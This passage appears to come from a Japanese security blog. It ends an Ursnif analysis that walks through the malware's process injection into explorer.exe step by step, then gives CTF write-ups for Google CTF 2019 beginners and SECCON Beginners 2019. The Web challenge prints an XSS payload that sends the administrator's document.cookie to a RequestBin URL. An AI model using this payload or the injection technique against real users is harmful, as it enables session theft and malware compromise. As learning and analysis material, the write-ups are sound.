 続いてExplorerと共有する領域を作成するために、NtCreateSectionを用いてSectionを作成します(この段階ではまだUrsnif内部にある状態のため、共有はしていません)。

f:id:bankingmalware:20190627105713p:plain

NtCreateSectionにより、この後Explorerと共有するためのSection領域を作成する

■2.2 ④ZwMapViewOfSectionによりリモートビューを作成

ZwMapViewOfSectionを呼び出す際、第1引数に先ほど作成したSection、第2引数にexplorerのプロセスハンドルを渡すことで、explorerに先ほどのSectionをマッピングする(共有メモリとする)。これにより以降本Sectionに書き込みを行うことで、Explorerプロセスに悪意のあるコードを書き込むことが可能となる。

f:id:bankingmalware:20190627105713p:plain

第1引数にUrsnifのSection、第2引数にexplorerのプロセスハンドルを渡している。

■2.2 ⑤memcpyにより先ほどマッピングしたSection

 先ほどのSectionにmemcpy関数を複数回呼び出し、不正コードの書き込みを行う。

f:id:bankingmalware:20190628100012p:plain

memcpyを呼び出している様子。第1引数が書き込み先のアドレス、第2引数が書き込み元のアドレス。ダンプウインドウ(左下の赤枠)は書き込み元のデータを表示している。

f:id:bankingmalware:20190628100720p:plain

Ursnifでのメモリ状況。確保したSection領域に、先ほどのダンプウインドウで表示したデータが書き込まれた(一致している)ことが分かる。

f:id:bankingmalware:20190628100739p:plain

Explorerでのメモリ状況。RWXの領域が確保されており、かつ先ほどのダンプウインドウで表示したデータが書き込まれた(一致している)ことが分かる。

 

■2.2 ⑥ZwAllocateVirtualMemoryにより書込権限・ 実行可能領域を確保

⑤まででexplorerに悪意のあるコードを書き込むことができた。続いてその悪意のあるコードをCallするのシェルコードを書き出す。まずはexplorer内に書き込み・実行可能領域を確保する。

f:id:bankingmalware:20190627110802p:plain

ZwAllocateVirtualMemoryの第1引数にexplorerのプロセスハンドル(0xe8)を渡して、RWX領域(読取・書込・実行可能)を確保する

f:id:bankingmalware:20190627110954p:plain

Explorer内にRWX領域が確保された

■2.2 ⑦ZwWriteVirtualMemoryでシェルコードを書き込み

ZwWriteVirtualMemoryで先ほど確保したRWXの領域に書き込みを行う。第1引数がexplorerのハンドル、第2引数が書き込み先のアドレス、第3引数が書き込み元のアドレス(左下の赤枠)である。書き込み元のアドレスが左下の赤枠部分であり、Call命令等が書かれているシェルコードとなっている。

f:id:bankingmalware:20190627112216p:plain

 

■2.2 ⑧⑨SetContextThreadでEIPをシェルコードに変更

⑤まででexplorerに悪意のあるコードを書き込み、⑦まででそれを呼び出すシェルコードを書き込むことができた。最後にSetContextThreadを用いてEIP(エントリポイント、実行ファイルにおいて最初に実行されるコードのアドレス)をそのシェルコードに設定する。

下記の通り、SetContextThreadの第1引数にexplorerのプロセスハンドル(0xe8)、第2引数が各レジスタの値を保持するContext構造体のアドレス(lpcontext)となる。lpcontextの先頭から0xb8バイト目の値がEIPのため、今回の場合、explorer.exeのEIPを0x02470218に変更している(リトルエンディアンのため、逆から読むことに注意)。 

f:id:bankingmalware:20190627132029p:plain

SetContextThreadでEIPを変更している様子。第1引数がプロセスハンドルで、第2引数がlpcontextのアドレス。ダンプウインドウにはlpcontextのアドレスを表示しており、左下の赤枠部分がlpcontextから0xb8バイト目の部分(EIPの値)となる。

f:id:bankingmalware:20190627132601p:plain

explorerのMemory。0x2470000は2.6および2.7で作成したRWX領域のシェルコードであり、このシェルコードの中の0x0218番目のところにEIPを設定したことになる。

f:id:bankingmalware:20190627133207p:plain

(参考)0x218番地を逆アセンブラした結果。ECXをPUSHした後RETすることで、ECXの番地に戻ることになる。ECXに悪意のあるコードの番地にすることで、悪意のあるコードが実行されることになる。

 

最後にResumeThreadのAPIでスレッドを再開して、explorerプロセス内のスレッドで不正コードの実行が可能となる。以降、explorerでインジェクションされたコードの動きについて、解析していきますが、かなり長いページになったため、新しい記事として記載していこうと思います。

 

■筆者について

筆者は、あくまで最近マルウェア解析をし始めたマルウェア解析初心者です。基本的には独学によりマルウェア解析スキルを身に着けた程度のため、あくまで参考程度にとどめていただければ幸いです。ご質問・ご指摘がある場合、ご連絡いただければ幸いです。

 

■参考文献
今回の解析に当たり、多くのサイトを参考にさせていただきましたが、その中でも特に参考にさせていただいたページを記載させていただきます。
https://www.mbsd.jp/blog/20180607.html
https://www.nttsecurity.com/docs/librariesprovider3/default-document-library/jp_ursnif_20161226
https://www.iij.ad.jp/dev/report/iir/034/01_04.html

 

Google CTF 2019 Wrietup (Beginners)

6月22日から23日にかけてGoogle CTFが開催されていたため、参加しました。本選のほうは解けなかったため、Begginers Questのほうにチャレンジし、5問ほど解けたのでそのWriteupを記載します。 

 

Enter Space-Time Coordinates

ELFファイルを渡されるため、まずはファイルを実行してみる。

 

f:id:bankingmalware:20190625160345p:plain

実行すると上記のように、入力が求められるため、適当な文字列を入力するとフラグを取れると推測。ltracestrace等を利用して簡単にトレースをしてみるが、フラグが見つけれなかったため、無償なデコンパイラGhidraを使って解析。フラグゲット。

(単純にstrings ./rand2 | grep CTFとかでも解くことが出来ました。) 

 

f:id:bankingmalware:20190625160413p:plain

2問目 Satellite (Network)

Networkのカテゴリにも関わらず、ELFファイルを渡されたためとりあえず実行してみ
る。

f:id:bankingmalware:20190625170732p:plain

上記のように実行すると”Enter the name of the satellite to connect to or 'exit' to quit”と表示されるので、今回のCTFストーリーのSatellite名である”Osmium”と入力pするとGoogleドキュメントのURLが表示された。URLにアクセスすると、下記の文字列が書かれたファイルが表示された。

VXNlcm5hbWU6IHdpcmVzaGFyay1yb2NrcwpQYXNzd29yZDogc3RhcnQtc25pZmZpbmchCg==

 

Base64でデコードすると、下記のようになる。

Username: wireshark-rocks

Password: start-sniffing!

 

特にPCAPファイルは今までなかったため、ここでどうすべきか悩んだが、Passwordstart-sniffing!のため、通信にフラグがあるのではないかと推測する。

-sudo tcpdump -w sniffing2.pcap

tcpdumpでパケットをキャプチャした状態で、ELFファイルを実行。キャプチャしたファイルをWiresharkで見るとフラグゲット。

 

f:id:bankingmalware:20190625170808p:plain

 

3問目 Work Computer (SandBox)

問題からサーバ名とポートが渡されるため、ncコマンドを使って接続する。

-nc readme.ctfcompetition.com 1337

lsコマンドを使うと、README.flagが見えるがcatless等の表示系のコマンドを制限されており、中身が見れない。

 

f:id:bankingmalware:20190625170823p:plain

 

他のコマンドのオプションを使って、この制限をバイパスして表示できないか検討。

/bin/usr./binで実行可能コマンドを探していると、tarコマンドを発見し、下記の通り標準出力が可能なオプション(-O)があることを発見。

f:id:bankingmalware:20190625170842p:plain

下記の2つのコマンドを実行し、フラグゲット。

f:id:bankingmalware:20190625170856p:plain

 

4問目 Home Computer (Forensic)

 フォレンジックの問題で、ntfsファイルが渡される。まずはFTKImagerを使ってマウントする。するとほとんどのファイルが0バイトだが、Documentsの中にcredentials.txtという1バイトのテキストファイルがあるので開いてみる。

f:id:bankingmalware:20190625175038p:plain

情報を拡張属性に入れているとあるので、拡張属性を確認すると、やはり$DATAに何らかの情報が埋め込まれていることを確認。

f:id:bankingmalware:20190625175258p:plain

more < credentials.txt:FILE0:$DATAとしても、なぜかうまくバイトを取り出せなかったため(エンコードされるため?)、ADS Managerという拡張属性を確認出来るツールを使って、credentials.txt:FILE0:$DATAをtemp.pngという名前でエクスポートする。

f:id:bankingmalware:20190625175846p:plain

中身はpngファイルで開くとフラグゲット。

 

f:id:bankingmalware:20190625180050p:plain

 

 

 

5問目 Government Agriculture Network (Web)

 

下記WebサイトのURLを渡されるので、サイトにアクセスするとPostする項目がある。

https://govagriculture.web.ctfcompetition.com/

f:id:bankingmalware:20190625170925p:plain

適当にPostすると、AdministratorPost内容をチェックすると表示される。

f:id:bankingmalware:20190625170941p:plain

これよりXSSを利用し、Administratorをサイトに誘導するとなんらかの情報を取れるのではと推測。下記の内容をPostして、CookieをクエリにつけてRequestBinにリダイレクトされるようにすると、RequestBinCookie(フラグ)がついたアクセスが確認でき、フラグゲット。

<script>

location.href='RequestBinのURL?cookie='+document.cookie;</script>

 

f:id:bankingmalware:20190625170952p:plain

 

SECCON Beginners CTF 2019 Writeup

5月25日(土)15:00から24時間開催されたSECCON Beginners CTF 2019に参加しました。チームとしては9問解答することができ、私はそのうち5問(Reversingの[warmup]Seccompare, Leakage, Linear Operation, CryptoのSo Tired, MiscのDump)解いたので、そのWriteupを作成しました。個人的にはpwnの問題が一問も解けなかったのが悲しかったですね。

 

[warmup]Seccompare

適当な引数を見つける問題。ltraceコマンドで解答。

f:id:bankingmalware:20190527094620p:plain

 

・Leakage

同じく適当な引数を見つける問題。GhidraやHooperでソースコードを見ると、1文字ずつ34回フラグと比較していることがわかった。angrで解こうとするもなぜかうまく行かず、結局gdbでブレイクポイントを仕掛け、1文字ずつ確認していくというよくない解き方になりました(スクリプトとかをすぐにかけるスキルを身に付けたいですね)

f:id:bankingmalware:20190527100404p:plain

is_correct関数の様子。1度目のループではRAXに'c'が格納される。2度目は’t’が格納され、ctf4b{フラグ}になると推測。

・Linear Operation

同じく適当な引数を見つける問題。GhidraやHooperでソースコードを見ると、解読する心が折れたので、angrを試みると秒殺でした。

import angr
proj = angr.Project("./linear_operation", load_options={"auto_load_libs": False})
addr_main = 0x40cee1
initial_state = proj.factory.blank_state(addr=addr_main)
path_group = proj.factory.path_group(initial_state)
e = path_group.explore(find=(0x40cf7f,), avoid=(0x40cf7f,))

print('start')
if len(e.found) > 0:
    print('Dump stdin at succeeded():')
    s = e.found[0].state
    print "%r" % s.posix.dumps(0)

 

・So tired

与えられた暗号化されたファイルをみるとbase64エンコードされている。デコードするとzlib形式のファイルが出てきたので、解凍すると再びbase64のファイルが出力され、以下ループする。手動では辛いので、汚いですが上のデコードと解凍を繰り返し行う以下のスクリプトを作成すると、フラグが入ったファイルが出力されました。

#/bin/sh

i=0
j=1
k=2
while [ $i -lt 2000 ]
do
    base64 -D "./temp"$i > "./temp"$j
    zlib --decompress < "./temp"$j > "./temp"$k
    i=`expr $i + 2`
    j=`expr $i + 1` 
    k=`expr $j + 1`

 

・Dump

Pcapを解析する問題。Pcapをみてみると、サーバからFLAGファイルをダウンロードしている通信が確認できた。Follow TCPをすると通信の中身が8進数でみえ、2バイト分のみ8進数を16進数に変換すると、1F 8Bとなったのでzlib形式のファイルだと推測。ここからうまくtsharkでうまく8進数のバイト→16進数のバイトに変換するスクリプトをかければ良いのですが、tsharkを使ったことがなく、断念。結局、Wiresharkで見れた通信をコピー→文字列としてファイルに貼り付け→Pythonで文字列をByteにして出力する下記プログラムを作成して、できたファイルをzlibで解凍すればpngファイルが出力され、そこにフラグがありました。

from struct import *
f = open('Dump','r')
line = f.readline()

with open("data", "wb") as fout:
while line:
splitline = line.split(" ")
for item in splitline:
  i = int(item, 8)
  fout.write(pack('B', i))
line = f.readline()
f.close()

 

今後も定期的にスキルアップの為に参加していこうと思います。